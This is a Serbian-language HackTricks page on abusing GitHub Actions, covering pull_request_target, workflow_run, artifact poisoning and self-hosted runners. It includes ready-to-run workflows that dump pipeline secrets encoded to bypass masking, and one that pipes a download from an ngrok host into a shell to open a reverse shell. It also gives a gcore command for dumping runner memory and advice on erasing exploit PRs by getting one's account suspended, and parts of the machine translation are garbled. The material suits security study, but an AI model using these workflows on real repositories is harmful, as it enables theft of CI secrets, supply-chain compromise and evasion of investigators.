Abusing Github Actions
Reading time: 18 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Basic Information
Na ovoj stranici ćete pronaći:
- rezime svih uticaja napadača koji uspe da pristupi Github Action
- Različite načine za pristup akciji:
- Imajući dozvole za kreiranje akcije
- Zloupotreba okidača povezanih sa pull request-om
- Zloupotreba drugih tehnika spoljnog pristupa
- Pivotiranje iz već kompromitovanog repozitorijuma
- Na kraju, odeljak o tehnikama post-ekspolatacije za zloupotrebu akcije iznutra (uzrokovanje pomenutih uticaja)
Impacts Summary
Za uvod o Github Actions proverite osnovne informacije.
Ako možete izvršiti proizvoljan kod u GitHub Actions unutar repozitorijuma, možda ćete moći da:
- Uk盗ite tajne montirane na pipeline i zloupotrebite privilegije pipeline-a da dobijete neovlašćen pristup spoljnim platformama, kao što su AWS i GCP.
- Kompromitujete implementacije i druge artefakte.
- Ako pipeline implementira ili čuva resurse, mogli biste izmeniti konačni proizvod, omogućavajući napad na lanac snabdevanja.
- Izvršite kod u prilagođenim radnicima da zloupotrebite računske resurse i pivotirate na druge sisteme.
- Prepišete kod repozitorijuma, u zavisnosti od dozvola povezanih sa
GITHUB_TOKEN
.
GITHUB_TOKEN
Ova "tajna" (koja dolazi iz ${{ secrets.GITHUB_TOKEN }}
i ${{ github.token }}
) se daje kada administrator omogući ovu opciju:
.png)
Ovaj token je isti onaj koji će Github aplikacija koristiti, tako da može pristupiti istim krajnjim tačkama: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps
warning
Github bi trebao da objavi tok koji omogućava međurepozitorijumski pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći GITHUB_TOKEN
.
Možete videti moguće dozvole ovog tokena na: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token
Napomena da token isteče nakon što je posao završen.
Ovi tokeni izgledaju ovako: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7
Neke zanimljive stvari koje možete uraditi sa ovim tokenom:
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
caution
Imajte na umu da ćete u nekoliko slučajeva moći da pronađete github korisničke tokene unutar Github Actions envs ili u tajnama. Ovi tokeni vam mogu dati više privilegija nad repozitorijumom i organizacijom.
Lista tajni u Github Action izlazu
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Dobijanje reverzne ljuske sa tajnama
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Moguće je proveriti dozvole date Github Token-u u repozitorijumima drugih korisnika proverom logova akcija:
.png)
Dozvoljena Izvršenja
note
Ovo bi bio najlakši način da se kompromituju Github akcije, jer ovaj slučaj podrazumeva da imate pristup kreiranju novog repozitorijuma u organizaciji, ili imate prava za pisanje u repozitorijumu.
Ako ste u ovom scenariju, možete samo proveriti Post Exploitation techniques.
Izvršenje iz Kreiranja Repozitorijuma
U slučaju da članovi organizacije mogu kreirati nove repozitorijume i možete izvršavati github akcije, možete kreirati novi repozitorijum i ukrasti tajne postavljene na nivou organizacije.
Izvršenje iz Nove Grane
Ako možete kreirati novu granu u repozitorijumu koji već sadrži konfigurisan Github Action, možete modifikovati to, otpremiti sadržaj, a zatim izvršiti tu akciju iz nove grane. Na ovaj način možete izvući tajne na nivou repozitorijuma i organizacije (ali morate znati kako se zovu).
Možete napraviti modifikovanu akciju izvršnom ručno, kada se PR kreira ili kada se neki kod otpremi (u zavisnosti od toga koliko želite da budete uočljivi):
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
Forked Execution
note
Postoje različiti okidači koji bi mogli omogućiti napadaču da izvrši Github akciju iz drugog repozitorijuma. Ako su ti okidači loše konfigurisani, napadač bi mogao da ih kompromituje.
pull_request
Okidač radnog toka pull_request
će izvršiti radni tok svaki put kada se primi pull request uz neke izuzetke: prema zadatku, ako je to prvi put da saradjujete, neki održavaoc će morati da odobri izvršenje radnog toka:
.png)
note
Kako je podrazumevano ograničenje za prvake u doprinosima, mogli biste doprineti ispravljanjem važeće greške/typo-a i zatim poslati druge PR-ove da zloupotrebite svoje nove pull_request
privilegije.
Testirao sam ovo i ne radi: Druga opcija bi bila da kreirate nalog sa imenom nekoga ko je doprineo projektu i obrisao njegov nalog.
Pored toga, prema zadatku sprečava pisane dozvole i pristup tajnama ciljanom repozitorijumu kao što je pomenuto u dokumentaciji:
Sa izuzetkom
GITHUB_TOKEN
, tajne se ne prosleđuju izvršiocu kada se radni tok pokrene iz forkovanog repozitorijuma.GITHUB_TOKEN
ima dozvole samo za čitanje u pull request-ima iz forkovanih repozitorijuma.
Napadač bi mogao da izmeni definiciju Github akcije kako bi izvršio proizvoljne stvari i dodao proizvoljne akcije. Međutim, neće moći da ukrade tajne ili prepiše repozitorijum zbog pomenutih ograničenja.
caution
Da, ako napadač promeni u PR-u github akciju koja će biti pokrenuta, njegova Github akcija će biti ta koja se koristi, a ne ona iz originalnog repozitorijuma!
Kako napadač takođe kontroliše kod koji se izvršava, čak i ako nema tajni ili pisane dozvole na GITHUB_TOKEN
, napadač bi mogao, na primer, da otpremi zlonamerne artefakte.
pull_request_target
Okidač radnog toka pull_request_target
ima pisanu dozvolu za ciljani repozitorijum i pristup tajnama (i ne traži dozvolu).
Napomena: okidač radnog toka pull_request_target
izvršava se u osnovnom kontekstu i ne u onom koji daje PR (da ne izvršava nepouzdani kod). Za više informacija o pull_request_target
proverite dokumentaciju.
Pored toga, za više informacija o ovoj specifičnoj opasnoj upotrebi proverite ovaj github blog post.
Može izgledati kao da je izvršeni radni tok onaj definisan u osnovi i ne u PR-u, pa je sigurno koristiti pull_request_target
, ali postoje neki slučajevi kada to nije.
A ovaj će imati pristup tajnama.
workflow_run
Okidač workflow_run omogućava pokretanje radnog toka iz drugog kada je završen
, tražen
ili u toku
.
U ovom primeru, radni tok je konfiguran da se pokrene nakon što se završi odvojeni "Pokreni testove" radni tok:
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
Moreover, according to the docs: Workflow pokrenut događajem workflow_run
može pristupiti tajnama i pisati tokene, čak i ako prethodni workflow nije.
Ova vrsta workflow-a može biti napadnuta ako zavisi od workflow-a koji može biti pokrenut od strane spoljnog korisnika putem pull_request
ili pull_request_target
. Nekoliko ranjivih primera može se pronaći u ovom blogu. Prvi se sastoji od workflow_run
pokrenutog workflow-a koji preuzima napadačev kod: ${{ github.event.pull_request.head.sha }}
Drugi se sastoji od prosleđivanja artifact-a iz nepouzdanog koda u workflow_run
workflow i korišćenja sadržaja ovog artifact-a na način koji ga čini ranjivim na RCE.
workflow_call
TODO
TODO: Proveriti da li kada se izvršava iz pull_request
, korišćeni/preuzeti kod dolazi iz originala ili iz forkovanog PR
Zloupotreba Forkovane Izvršavanja
Pomenuli smo sve načine na koje spoljašnji napadač može uspeti da pokrene github workflow, sada hajde da pogledamo kako ova izvršavanja, ako su loše konfigurisana, mogu biti zloupotrebljena:
Nepouzdan checkout izvršavanje
U slučaju pull_request
, workflow će biti izvršen u kontekstu PR (tako da će izvršiti maliciozni kod PR-a), ali neko mora prvo da odobri i biće izvršen sa nekim ograničenjima.
U slučaju workflow-a koji koristi pull_request_target
ili workflow_run
koji zavisi od workflow-a koji može biti pokrenut iz pull_request_target
ili pull_request
, kod iz originalnog repozitorijuma će biti izvršen, tako da napadač ne može kontrolisati izvršeni kod.
caution
Međutim, ako akcija ima eksplicitni PR checkout koji će uzeti kod iz PR (a ne iz osnove), koristiće napadačev kontrolisani kod. Na primer (proverite liniju 12 gde se preuzima kod PR-a):
# INSECURE. Provided as an example only.
on:
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
Potencijalno nepouzdan kod se izvršava tokom npm install
ili npm build
jer su skripte za izgradnju i referencirane pakete pod kontrolom autora PR-a.
warning
Github dork za pretragu ranjivih akcija je: event.pull_request pull_request_target extension:yml
, međutim, postoje različiti načini za konfiguraciju poslova da se izvršavaju sigurno čak i ako je akcija konfigurisana nesigurno (kao što je korišćenje uslovnih izraza o tome ko je akter koji generiše PR).
Kontekst Injekcije Skripti
Napomena da postoje određeni github konteksti čije vrednosti su kontrolisane od strane korisnika koji kreira PR. Ako github akcija koristi te podatke za izvršavanje bilo čega, to može dovesti do izvršavanja proizvoljnog koda:
Gh Actions - Context Script Injections
GITHUB_ENV Injekcija Skripti
Prema dokumentaciji: Možete učiniti promenljivu okruženja dostupnom za sve naredne korake u workflow poslu tako što ćete definisati ili ažurirati promenljivu okruženja i napisati to u GITHUB_ENV
datoteku okruženja.
Ako bi napadač mogao ubaciti bilo koju vrednost unutar ove env promenljive, mogao bi ubaciti env promenljive koje bi mogle izvršiti kod u narednim koracima kao što su LD_PRELOAD ili NODE_OPTIONS.
Na primer (ovo i ovo), zamislite workflow koji veruje da je uploadovani artifact da čuva svoj sadržaj unutar GITHUB_ENV
env promenljive. Napadač bi mogao da uploaduje nešto poput ovoga da bi ga kompromitovao:
.png)
Ranjive Treće Strane Github Akcije
dawidd6/action-download-artifact
Kao što je pomenuto u ovom blog postu, ova Github Akcija omogućava pristup artifact-ima iz različitih workflow-a i čak repozitorijuma.
Glavni problem je što ako path
parametar nije postavljen, artifact se ekstrahuje u trenutni direktorijum i može prepisati datoteke koje bi kasnije mogle biti korišćene ili čak izvršene u workflow-u. Stoga, ako je Artifact ranjiv, napadač bi mogao da zloupotrebi ovo da kompromituje druge workflow-e koji veruju Artifact-u.
Primer ranjivog workflow-a:
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
Ovo bi moglo biti napadnuto ovom radnom procedurom:
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
Drugi Spoljni Pristup
Otimanje Izbrisanog Namespace Repozitorijuma
Ako nalog promeni svoje ime, drugi korisnik bi mogao da registruje nalog sa tim imenom nakon nekog vremena. Ako je repozitorijum imao manje od 100 zvezdica pre promene imena, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira repozitorijum sa istim imenom kao onaj koji je izbrisan.
caution
Dakle, ako neka akcija koristi repozitorijum sa nepostojećeg naloga, još uvek je moguće da napadač može da kreira taj nalog i kompromituje akciju.
Ako su drugi repozitorijumi koristili zavisnosti iz ovih korisničkih repozitorijuma, napadač će moći da ih otme. Ovde imate potpunije objašnjenje: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/
Repo Pivoting
note
U ovom odeljku ćemo govoriti o tehnikama koje bi omogućile pivotiranje sa jednog repozitorijuma na drugi pod pretpostavkom da imamo neku vrstu pristupa prvom (proverite prethodni odeljak).
Trovanje Keša
Keš se održava između izvršavanja radnih tokova u istoj grani. Što znači da ako napadač kompromituje paket koji se zatim čuva u kešu i preuzima i izvršava ga privilegovaniji radni tok, on će moći da kompromituje i taj radni tok.
Trovanje Artefakata
Radni tokovi mogu koristiti artefakte iz drugih radnih tokova i čak repozitorijuma, ako napadač uspe da kompromituje Github Akciju koja otprema artefakt koji se kasnije koristi od strane drugog radnog toka, on bi mogao da kompromituje druge radne tokove:
Gh Actions - Artifact Poisoning
Post Eksploatacija iz Akcije
Pristupanje AWS i GCP putem OIDC
Proverite sledeće stranice:
Pristupanje tajnama
Ako ubacujete sadržaj u skriptu, zanimljivo je znati kako možete pristupiti tajnama:
- Ako je tajna ili token postavljen na promenljivu okruženja, može se direktno pristupiti kroz okruženje koristeći
printenv
.
Lista tajni u izlazu Github Akcije
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Dobijanje reverzne ljuske sa tajnama
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
- Ako se tajna koristi direktno u izrazu, generisani shell skript se čuva na disku i može se pristupiti.
-
cat /home/runner/work/_temp/*
- Za JavaScript akcije, tajne se šalju kroz promenljive okruženja.
- ```bash
ps axe | grep node
- Za prilagođenu akciju, rizik može varirati u zavisnosti od toga kako program koristi tajnu koju je dobio iz argumenta:
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
Zloupotreba samostalno hostovanih izvršitelja
Način da se pronađe koje Github akcije se izvršavaju u ne-github infrastrukturi je pretraga za runs-on: self-hosted
u konfiguraciji Github akcije yaml.
Samostalno hostovani izvršitelji mogu imati pristup dodatnim osetljivim informacijama, drugim mrežnim sistemima (ranjivi krajnji tački u mreži? servis za metapodatke?) ili, čak i ako je izolovan i uništen, više od jedne akcije može biti izvršeno u isto vreme i zlonamerna može ukrasti tajne druge.
U samostalno hostovanim izvršiteljima takođe je moguće dobiti tajne iz _Runner.Listener_** procesa** koji će sadržati sve tajne radnih tokova u bilo kojoj fazi dumpovanjem svoje memorije:
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
Proverite ovaj post za više informacija.
Github Docker Images Registry
Moguće je napraviti Github akcije koje će izgraditi i sačuvati Docker sliku unutar Github-a.
Primer se može naći u sledećem proširivom:
Github Action Build & Push Docker Image
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
Kao što ste mogli videti u prethodnom kodu, Github registry je hostovan na ghcr.io
.
Korisnik sa dozvolama za čitanje nad repozitorijumom će moći da preuzme Docker sliku koristeći lični pristupni token:
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
Zatim, korisnik može da traži procurene tajne u slojevima Docker slike:
Osetljive informacije u Github Actions logovima
Čak i ako Github pokušava da otkrije tajne vrednosti u logovima akcija i izbegne da ih prikaže, dati osetljivi podaci koji su mogli biti generisani tokom izvršenja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije specifično konfigurisano.
Sakrivanje tragova
(Teknika iz ovde) Prvo, svaki PR koji je podnet je jasno vidljiv javnosti na Github-u i ciljanom GitHub nalogu. Na GitHub-u po defaultu, ne možemo obrisati PR sa interneta, ali postoji caka. Za GitHub naloge koji su suspendovani od strane GitHub-a, svi njihovi PR-ovi se automatski brišu i uklanjaju sa interneta. Dakle, da biste sakrili svoju aktivnost, potrebno je da ili dobijete suspendovan GitHub nalog ili da vam nalog bude označen. Ovo bi sakrilo sve vaše aktivnosti na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR-ove)
Organizacija na GitHub-u je veoma proaktivna u izveštavanju naloga GitHub-u. Sve što treba da uradite je da podelite "neke stvari" u Issue i oni će se pobrinuti da vaš nalog bude suspendovan za 12 sati :p i eto, učinili ste svoj exploit nevidljivim na GitHub-u.
warning
Jedini način na koji organizacija može da sazna da su bili meta je da proveri GitHub logove iz SIEM-a, jer bi iz GitHub UI PR bio uklonjen.
Alati
Sledeći alati su korisni za pronalaženje Github Action radnih tokova i čak pronalaženje ranjivih:
- https://github.com/CycodeLabs/raven
- https://github.com/praetorian-inc/gato
- https://github.com/AdnaneKhan/Gato-X
- https://github.com/carlospolop/PurplePanda
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.